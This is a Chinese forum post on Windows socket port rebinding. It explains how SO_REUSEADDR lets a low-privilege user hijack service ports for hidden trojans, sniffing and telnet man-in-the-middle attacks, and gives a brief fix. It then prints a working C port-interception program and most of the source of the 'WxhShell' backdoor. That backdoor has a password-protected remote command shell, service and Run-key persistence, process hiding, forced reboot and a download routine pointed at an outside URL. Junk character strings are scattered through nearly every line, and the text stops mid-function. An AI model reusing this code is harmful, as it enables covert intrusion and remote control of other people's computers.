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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V*W;OiE_ 3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gks{\H]  
CZ nOui  
  saddr.sin_family = AF_INET; $z+8<?YD  
H<^/Ati,|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .l@xsJn  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vb9',a?#n  
;pnD0bH  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9;veuX#(  
1AU#%wIEP  
  这意味着什么?意味着可以进行如下的攻击: wQRZ"ri,  
s+Q~~]HJM  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?:w1je7  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) K# Jk _"W  
F{UP;"8'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e @IA20  
}Q";aU0^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  u;`U*@  
*6} N =Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hcyM6:}  
/c,(8{(O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uJ6DO#d`P  
_r2J7&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7^g&)P  
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  #include 2 aL)  
  #include mQY_`&Jq  
  #include e#E2>Bj;  
  #include    VqS#waNrx  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kcQ'$<Mz<  
  int main() FXs*vg`  
  { 4n4?4BEn  
  WORD wVersionRequested; HQB(*  
  DWORD ret; 8H_l:Z[:i  
  WSADATA wsaData; &\Amn?Iq  
  BOOL val; 8HP6+c%  
  SOCKADDR_IN saddr; 6,9o>zT%H  
  SOCKADDR_IN scaddr; Ybn`3  
  int err; N&M~0iw  
  SOCKET s; Yh>]-SCw  
  SOCKET sc; 7[.6axL  
  int caddsize; ` P9XqWr  
  HANDLE mt; 5Lf{8UxI  
  DWORD tid;   TYQwy*  
  wVersionRequested = MAKEWORD( 2, 2 ); qkC/\![@  
  err = WSAStartup( wVersionRequested, &wsaData ); VH[hsj  
  if ( err != 0 ) { 5:kH;/U  
  printf("error!WSAStartup failed!\n"); #b~JDO(  
  return -1; m'f,_ \'  
  } El@(mOu|  
  saddr.sin_family = AF_INET; ;v$4$D]L  
   /FIE:Io  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *<J*S#]  
MX@_=Sp-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l~ M_S<4n  
  saddr.sin_port = htons(23); A7n\h-b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CXC`sPY  
  { yfm^?G|sW  
  printf("error!socket failed!\n"); 8)4P Ll  
  return -1; APO>y  
  } &0`) Q  
  val = TRUE; h}xeChw]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %%4t~XC#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %wSj%>&-R  
  { *Q,0W:~-  
  printf("error!setsockopt failed!\n"); z-b*D}&  
  return -1; Rb{U+/gq  
  } X#e1KZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [AW" D3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]Ei0d8Uo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @U2qD  J6  
sxt-Vs7+6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *;Ed*ibf  
  { +9") KQT  
  ret=GetLastError(); >2Kh0rIH  
  printf("error!bind failed!\n"); 7bV{Q355P  
  return -1; /;utcc  
  } a(0*um(  
  listen(s,2); 9J?wO9rI  
  while(1) iURk=*Z=  
  { E~_]Lfs)  
  caddsize = sizeof(scaddr); E8~}PQW:I  
  //接受连接请求 G;~V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YWxc-fPZ  
  if(sc!=INVALID_SOCKET) UNkCL4N  
  { />9O R  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lHhUC16>  
  if(mt==NULL) u,w:SM@*(  
  { `4~H/'%QB  
  printf("Thread Creat Failed!\n"); n;:rf7hGY  
  break; - h9?1vc7  
  } .3MIcj=p  
  } ,.qMEMm  
  CloseHandle(mt); >J>b>SU=-  
  } f?'JAC*  
  closesocket(s); wV ^V]c?U  
  WSACleanup(); m2v'WY5u  
  return 0; :=[XW?L%x  
  }   n8D xB@DI  
  DWORD WINAPI ClientThread(LPVOID lpParam)  z~>pVs  
  { |K|h+fgG6*  
  SOCKET ss = (SOCKET)lpParam; g'|MA~4yB  
  SOCKET sc; _`pD`7:aI^  
  unsigned char buf[4096]; H[='~%D  
  SOCKADDR_IN saddr; [mPjP%{=@  
  long num; r!{LLc}>  
  DWORD val; hc'-Dh  
  DWORD ret; %Pqf{*d8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1M}&ZH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :G<E^<M\)^  
  saddr.sin_family = AF_INET; !1G."fo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S!sqbLrBn  
  saddr.sin_port = htons(23); $VxA0 =ad  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .({smN,B  
  { ?:L:EW8  
  printf("error!socket failed!\n"); mb!9&&2 -t  
  return -1; U\sHx68  
  } 8{Fsm;UsY  
  val = 100; dH^<t,v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,-OCc!7K  
  { ;jipe3LU  
  ret = GetLastError(); xQ'2BAEa  
  return -1; \l@,B +)  
  } jvQ*t_L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H8'Z#"h  
  { DHY@akhrK  
  ret = GetLastError(); Iy6$7~  
  return -1; //4Xq8y  
  } w&%~3Cz.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ubmrlH\d  
  { aN,M64F  
  printf("error!socket connect failed!\n"); $e /^u[~:  
  closesocket(sc); bk\yCt06y;  
  closesocket(ss); @S 7sr-  
  return -1; NmSo4Dg`U  
  } }nMPSerE  
  while(1) XZ5 /=z  
  { qVs\Y3u(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +(+Itmx2&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7H|$4;X^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5Fz.Y}  
  num = recv(ss,buf,4096,0); =lu/9 i6  
  if(num>0) @_LN3zP  
  send(sc,buf,num,0); g=e71DXG2  
  else if(num==0) %:2+ o'  
  break; _{ZqO;[u  
  num = recv(sc,buf,4096,0); PClMQL#  
  if(num>0) Zt3)]sB  
  send(ss,buf,num,0); nO)X!dp}J  
  else if(num==0) =k oSUVO0  
  break; A<B=f<N3gV  
  } 7k(Kq5w.  
  closesocket(ss); t&(PN%icD  
  closesocket(sc); eBJUv]o %  
  return 0 ; A.5i"Ci[ie  
  } ;-Jb1"5  
ScSZGs 5&  
ru7RcYRq  
========================================================== "XT"|KF|D  
1\r|g2Z :  
下边附上一个代码,,WXhSHELL =ID 2  
>X51$wBL  
========================================================== >B>CB3U  
BY]i;GVq  
#include "stdafx.h" np4+"  
=?-ye!w  
#include <stdio.h> k`x=D5s\  
#include <string.h> Y OJ6 w  
#include <windows.h> x1BobhU~Zl  
#include <winsock2.h> [S@}T zE  
#include <winsvc.h> SM^-Z|d?  
#include <urlmon.h> ai0Ut   
.m`y><.5  
#pragma comment (lib, "Ws2_32.lib") kMsnW}Nu  
#pragma comment (lib, "urlmon.lib") G!XIc>F*  
NVl [kw  
#define MAX_USER   100 // 最大客户端连接数 zR32PG>9  
#define BUF_SOCK   200 // sock buffer yu;SH[{Wi  
#define KEY_BUFF   255 // 输入 buffer .&x}NYX4  
]K*8O <  
#define REBOOT     0   // 重启 ez9 q7SpA  
#define SHUTDOWN   1   // 关机 Rtjqx6-B;  
UQ.7>Ug+8s  
#define DEF_PORT   5000 // 监听端口 ZlojbL@|4  
EutP\K_Y  
#define REG_LEN     16   // 注册表键长度 \t|M-%&)4  
#define SVC_LEN     80   // NT服务名长度 NzW`B^p  
NxLXm,  
// 从dll定义API /CIh2 ]#e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); XhPe]P  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g%k`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P(a.iu5   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w\19[U3  
g5q$A9.Jl  
// wxhshell配置信息 U-^[lWn[@4  
struct WSCFG { tM#lFmdd\P  
  int ws_port;         // 监听端口 @;?T~^nGj  
  char ws_passstr[REG_LEN]; // 口令 dHk{.n^p  
  int ws_autoins;       // 安装标记, 1=yes 0=no GTJ{h  
  char ws_regname[REG_LEN]; // 注册表键名 {bPV)RL:  
  char ws_svcname[REG_LEN]; // 服务名 HQ9X7[3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rP(eva  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !(t,FYeH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]1gx#y 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YKa0H%B(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kHv[H]+v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <s@-:;9~  
O,.!2wVrN  
}; I_q~*/<h  
')N{wSM9Ft  
// default Wxhshell configuration A$WZF/x  
struct WSCFG wscfg={DEF_PORT, ~xIj F1Z  
    "xuhuanlingzhe", Hp|}~xjn  
    1, v0Ir#B,[H  
    "Wxhshell", ]p!Gt,rYq  
    "Wxhshell", -TV?E%r  
            "WxhShell Service", cc44R|Kr$$  
    "Wrsky Windows CmdShell Service", O6].*25  
    "Please Input Your Password: ", {ccIxL /~  
  1, 7_# 1Ec|;  
  "http://www.wrsky.com/wxhshell.exe", 4c+$%pq5  
  "Wxhshell.exe" ^W7X(LQ*+  
    }; '>(.%@  
j8K,jZ  
// 消息定义模块 X o{`]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #*>E*#?t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ! <WBCclX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,Os? f:Y6  
char *msg_ws_ext="\n\rExit."; 7zTqNnPnf  
char *msg_ws_end="\n\rQuit."; =\t /u  
char *msg_ws_boot="\n\rReboot..."; dXn%lJ  
char *msg_ws_poff="\n\rShutdown..."; 5TUNX^AW  
char *msg_ws_down="\n\rSave to "; s9oO%e<  
LG]3hz9^9  
char *msg_ws_err="\n\rErr!"; &5t :H 8b  
char *msg_ws_ok="\n\rOK!"; -xD*tf*  
aV1lJ ;0  
char ExeFile[MAX_PATH]; %/.a]j!  
int nUser = 0; ,pBh`av  
HANDLE handles[MAX_USER]; T$= 4O9G  
int OsIsNt; Q7bq  
pA4*bO+  
SERVICE_STATUS       serviceStatus; ]h9!ei [  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QjPj[c  
$t-n'Qh^2  
// 函数声明 w-$[>R[hw  
int Install(void); 1=2^90  
int Uninstall(void); u z\0cX_  
int DownloadFile(char *sURL, SOCKET wsh); UMN*]_'+;b  
int Boot(int flag); (.3'=n|kE  
void HideProc(void); [4J6 iF  
int GetOsVer(void); De_C F8  
int Wxhshell(SOCKET wsl); EC6k{y}bA  
void TalkWithClient(void *cs); :"o o>  
int CmdShell(SOCKET sock); 8p1ziz`4>$  
int StartFromService(void); k8]O65t|  
int StartWxhshell(LPSTR lpCmdLine); /hv#CB>1x  
ug`NmIQP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GYB+RU}],  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9F;S+)H4  
q|)Q9+6$+  
// 数据结构和表定义 Pgp {$ID  
SERVICE_TABLE_ENTRY DispatchTable[] = V84*0&qOW  
{ iGXBqUQ:  
{wscfg.ws_svcname, NTServiceMain}, <a le$[  
{NULL, NULL} gBk5wk_j|  
}; pe&UQ C^  
]=F8p2w?  
// 自我安装 :1 )DqoAJ  
int Install(void) O''y>N9  
{ [t0rfl{.  
  char svExeFile[MAX_PATH]; G&f7+e  
  HKEY key; B ?%L  
  strcpy(svExeFile,ExeFile); qO`qJ/  
C0x "pO7  
// 如果是win9x系统,修改注册表设为自启动 /OGA$eP  
if(!OsIsNt) { 9x`4 RE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rSV gWr8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Ngw\@f  
  RegCloseKey(key); KbxR Lx]w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xU9@$am  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AN9[G  
  RegCloseKey(key); 5c -N0@\  
  return 0; (S^ck%]]a!  
    } ?PPZp6A3L=  
  } v@EQ^C2.&  
} T,JA#Rk|1N  
else { UmKX*T9  
?HR%bn gK  
// 如果是NT以上系统,安装为系统服务 @=uN\) 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $1*3!}_0  
if (schSCManager!=0) gH:ArfC  
{ DHfB@/q#  
  SC_HANDLE schService = CreateService 7uI#L}y  
  ( x|~zHFm6  
  schSCManager, ?q91:H   
  wscfg.ws_svcname, RHNk%9  
  wscfg.ws_svcdisp, #%S0PL"x U  
  SERVICE_ALL_ACCESS, _`a&9i &  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .gYt0raSY  
  SERVICE_AUTO_START, PK rek  
  SERVICE_ERROR_NORMAL, (xyS7q]m  
  svExeFile, 8TZENRzx-|  
  NULL, Lu>H`B7Q"  
  NULL, nwM)K  
  NULL, h ; kfh.  
  NULL, )%JD8;[Jq  
  NULL <`g3(?   
  ); E(L<L1:"  
  if (schService!=0) Ttv9" z  
  { ;rBp1[qVe  
  CloseServiceHandle(schService); 5JFV%odo  
  CloseServiceHandle(schSCManager); :%-,Fxl4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /r.6XZs6  
  strcat(svExeFile,wscfg.ws_svcname); LP`CS849z2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t<b3K-  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [N|xzMe  
  RegCloseKey(key); {0's~U+@  
  return 0; x,Y 5U+]E  
    } |pWaBh|r  
  } # .q#O C  
  CloseServiceHandle(schSCManager); y @apJ;_R-  
} R,Ml&4pZ}  
} if~rp-\P  
XT||M)#  
return 1; j Selop>N  
} L0&S0HG   
4#Eul  
// 自我卸载 i7eI=f-Q  
int Uninstall(void) W (& 6  
{ 9 qH[o?]  
  HKEY key; 3ps,uozj  
am:.NG+  
if(!OsIsNt) { 5}a"?5J^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \f"?Tv-C'  
  RegDeleteValue(key,wscfg.ws_regname); A8dI:E+$  
  RegCloseKey(key); 8wF#e\Va0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &=-PRza%j  
  RegDeleteValue(key,wscfg.ws_regname); 9e5gy  
  RegCloseKey(key); (fXq<GXAn/  
  return 0; l \}25 e  
  } GNghB(  
} /PC` 0/b  
} #%cR%Z  
else { F1}  
'TX M{RGw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *]{=8zc2  
if (schSCManager!=0) EUwQIA2c8N  
{ V.,bwPb{9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K+mU_+KRp  
  if (schService!=0) R`Qp d3  
  { (2%>jg0M  
  if(DeleteService(schService)!=0) { 5\G)Q<A]*L  
  CloseServiceHandle(schService); ]_2 yiKv&  
  CloseServiceHandle(schSCManager);  ? ICDIn  
  return 0; /J;]u3e|  
  } k!13=Gh  
  CloseServiceHandle(schService); od,tfLw4  
  } ~V$ f #X  
  CloseServiceHandle(schSCManager); 6_ ]8\n  
} m"-G6BKS  
} :r39wFi  
I*c;hfu  
return 1; BkT-m'I?  
} (C~dkR?  
CZfE |T~  
// 从指定url下载文件 b"P&+c  
int DownloadFile(char *sURL, SOCKET wsh) `Qq/ F]  
{ -kc(u1!  
  HRESULT hr; qC.i6IL  
char seps[]= "/"; ~R{8.!: >  
char *token; NUu;tjt:  
char *file; LR\zy8y]  
char myURL[MAX_PATH]; Nu+wL>t  
char myFILE[MAX_PATH]; qT 0_L  
YZ*{^'  
strcpy(myURL,sURL); xA9V$#d|  
  token=strtok(myURL,seps); lWlUWhLnP  
  while(token!=NULL) jZ/+~{<  
  { 0s!N@ ,T  
    file=token; ux&:Rw\  
  token=strtok(NULL,seps); R .UumBM  
  } k.{G&]r{  
M8Juykw  
GetCurrentDirectory(MAX_PATH,myFILE); gA:[3J,[;  
strcat(myFILE, "\\"); CK Mv7  
strcat(myFILE, file); Z^+a*^w~{  
  send(wsh,myFILE,strlen(myFILE),0); D1! {S7  
send(wsh,"...",3,0); K#;txzi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )"-fHW+fy  
  if(hr==S_OK) `uhL61cMp  
return 0; .$^wy3:F"  
else CLktNR(45  
return 1; c 85O_J  
r_=p,#}#  
} Fd}<Uote3  
UU"d_~pp  
// 系统电源模块 =N;$0 Y(g  
int Boot(int flag) neIy~H_#!  
{ rr)9Y][l}  
  HANDLE hToken; hy=u}^F.C  
  TOKEN_PRIVILEGES tkp; 8L{$v~+  
b_l.QKk  
  if(OsIsNt) { cUNGo%Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {a@hRY_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $~Tf L{$  
    tkp.PrivilegeCount = 1; `~|DoSi^d  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `%%?zgY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -7,vtd[h  
if(flag==REBOOT) { gb9[Meg'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i&1U4q  
  return 0; o6/Rx#A  
} X -v~o/r7  
else { UCn.t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5{HtJ?sKc5  
  return 0; Gzj3Ka  
} SCI1bMf  
  } &EGY+p|2Y  
  else { n)Hk8)^8  
if(flag==REBOOT) { RAdvIIQp:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GA7u5D"0  
  return 0; ^xmZ|f-  
} 2!{N[*)  
else { ?U$}Rsk{#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .u&|e  
  return 0; bt0djJRw  
} Gk{W:866  
} V!H(;Tuuo  
]}/mFY?7  
return 1; O<bDU0s{M  
} z,M'Tr.1|  
n~9 i^  
// win9x进程隐藏模块 GPMrs)J*!  
void HideProc(void) tb:    
{ _,t&C7Yf;  
BjwMb&a;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $}V7(wu 6@  
  if ( hKernel != NULL ) [Yn;G7cK  
  { N*HH,m&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u1wg C#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kz$(V(k<  
    FreeLibrary(hKernel); >QA/Mi~R  
  } 'G52<sF  
2(hvv-  
return; pEY>A_F  
} Q;=6ag'  
nD(w @c?  
// 获取操作系统版本 ]DGGcUk7  
int GetOsVer(void) hyM'x*  
{ F [r|Y-c]  
  OSVERSIONINFO winfo; _`slkw P.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d\\r_ bGW  
  GetVersionEx(&winfo); Ck:#1-t8{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OuMco+C  
  return 1; >7"$}5d  
  else "^Y6ctw  
  return 0; }7-7t{G  
} 7&=-a|k~  
p| Vmdnb  
// 客户端句柄模块 ;HR 6X  
int Wxhshell(SOCKET wsl) VjC*(6<Gj  
{ te4F"SEf  
  SOCKET wsh; /A0 [_  
  struct sockaddr_in client; h=!M6yap<  
  DWORD myID; : x>I- 3G  
P"oYC$  
  while(nUser<MAX_USER) f<'n5}{RO0  
{ a$~IQ2$|6  
  int nSize=sizeof(client); E(7@'d{o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f2`P8$U)R  
  if(wsh==INVALID_SOCKET) return 1; B{[f}h.n  
R|nEd/' <  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~?2rGE  
if(handles[nUser]==0) #Tup]czO  
  closesocket(wsh); /A %om|+Gq  
else bELIRM9  
  nUser++; 71JM [2  
  } )3BR[*u*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =X)Q7u".7  
v<{wA`'R+  
  return 0; A Z]P+v  
} -08&&H  
(Nm}3p  
// 关闭 socket aJEbAs}  
void CloseIt(SOCKET wsh) tniPEmeS  
{ 8f /T!5  
closesocket(wsh); (y-x01H  
nUser--; mrK,Ql  
ExitThread(0); i7i|370  
} #;wkr))  
Uzan7A  
// 客户端请求句柄 /'R UA  
void TalkWithClient(void *cs) muL>g_H  
{ LvSP #$f  
b`(yu.{Jn  
  SOCKET wsh=(SOCKET)cs; 9`)w@-~~  
  char pwd[SVC_LEN]; .jvSAV5B  
  char cmd[KEY_BUFF]; 3'?h;`v\Lo  
char chr[1]; omXBnzT  
int i,j; ) j{WeG7L  
%bCcsdK  
  while (nUser < MAX_USER) { %KbBH:z05  
t-.2 +6"\  
if(wscfg.ws_passstr) { qf_h b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *37LN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "bHtf_  
  //ZeroMemory(pwd,KEY_BUFF); ~AEqfIx*^&  
      i=0; L4\SB O  
  while(i<SVC_LEN) { &&]"Y!r -  
=-OCM*5~S  
  // 设置超时 t}5'(9  
  fd_set FdRead; ,:0Q1~8  
  struct timeval TimeOut; %E4$ZPSW  
  FD_ZERO(&FdRead); 2neF<H?^o  
  FD_SET(wsh,&FdRead); >P<k[vF  
  TimeOut.tv_sec=8; Ymwx (Pm  
  TimeOut.tv_usec=0; Sf+(1_^`t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zF[3%qZE:T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4]Un=?)I  
Paae-EmC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U@o2gjGN  
  pwd=chr[0]; OVDMC4K2z!  
  if(chr[0]==0xd || chr[0]==0xa) { :6 Hxxh  
  pwd=0; QV nO  
  break; XD_P\z  
  } &4mfzpK  
  i++; [_g#x(=  
    } 1TK #eU  
,Hik(22  
  // 如果是非法用户,关闭 socket IeR l6r%:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZTQ$Ol+{ q  
} NYSj^k;^(z  
-IpV'%nX;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H B::0l<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sDzD 8as  
3Ew"[FUs  
while(1) { a -z23$3  
UPfFT^=y  
  ZeroMemory(cmd,KEY_BUFF); iFAoAw(  
377j3dP  
      // 自动支持客户端 telnet标准   \j,v/C@c-  
  j=0; 0Zc*YdH  
  while(j<KEY_BUFF) { adRNrt*!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z4%Z6Y  
  cmd[j]=chr[0]; 1A|x$j6m  
  if(chr[0]==0xa || chr[0]==0xd) { q3,P|&T  
  cmd[j]=0; ,xAM[h&  
  break; Y(#d8o}}#  
  } ]>VJ--fH  
  j++; ~|aeKtCs(.  
    } USnD7I/b  
`@u+u0  
  // 下载文件 EWu iaw.  
  if(strstr(cmd,"http://")) { _0DXQS\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); beN>5coP%A  
  if(DownloadFile(cmd,wsh)) "6`)vgI~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wu&|~@_s@  
  else 'T&=$9g7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ? e9XVQ*  
  } D+*uKldS;  
  else { gTmUK{y'  
c~^]jqid]  
    switch(cmd[0]) { >6.[i@RmWU  
  Xa?6#  
  // 帮助 )+jK0E1  
  case '?': { ;qMnO_ E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eI/\I:G{f  
    break; Rk437vQD,  
  } \dp9@y[^  
  // 安装 yZj}EBa  
  case 'i': { ;qT!fuN;  
    if(Install()) (!XYH@Mz<w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JR? )SGB  
    else i(&6ys5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'y+bx?3Z  
    break; p5twL  
    } x8SM,2ud  
  // 卸载 _Cv[`e.  
  case 'r': { *uI hxMX  
    if(Uninstall()) K-"HcHuF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3zA8pI w  
    else a.Rp#}f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1,%#O;ya  
    break; rHC+nou  
    } Q C\,  
  // 显示 wxhshell 所在路径 OIXAjU*N  
  case 'p': { N:PA/V^z  
    char svExeFile[MAX_PATH]; V:0uy>  
    strcpy(svExeFile,"\n\r"); JEm?26n X  
      strcat(svExeFile,ExeFile); wH(vX<W-E  
        send(wsh,svExeFile,strlen(svExeFile),0); G+ $)W u  
    break; 5KC\1pe i  
    } $8X tI  
  // 重启 Dvq*XI5  
  case 'b': { gT5Ji~xI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TQ5MKqR$  
    if(Boot(REBOOT)) JucxhjV#,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !q=Q~ea  
    else { P$(iB.&  
    closesocket(wsh); [c KI0  
    ExitThread(0); f)AW! /  
    } }]39 iK`w  
    break; v8'`gY  
    } y3@x*_K8  
  // 关机 jOm&yX  
  case 'd': { mP5d!+[8  
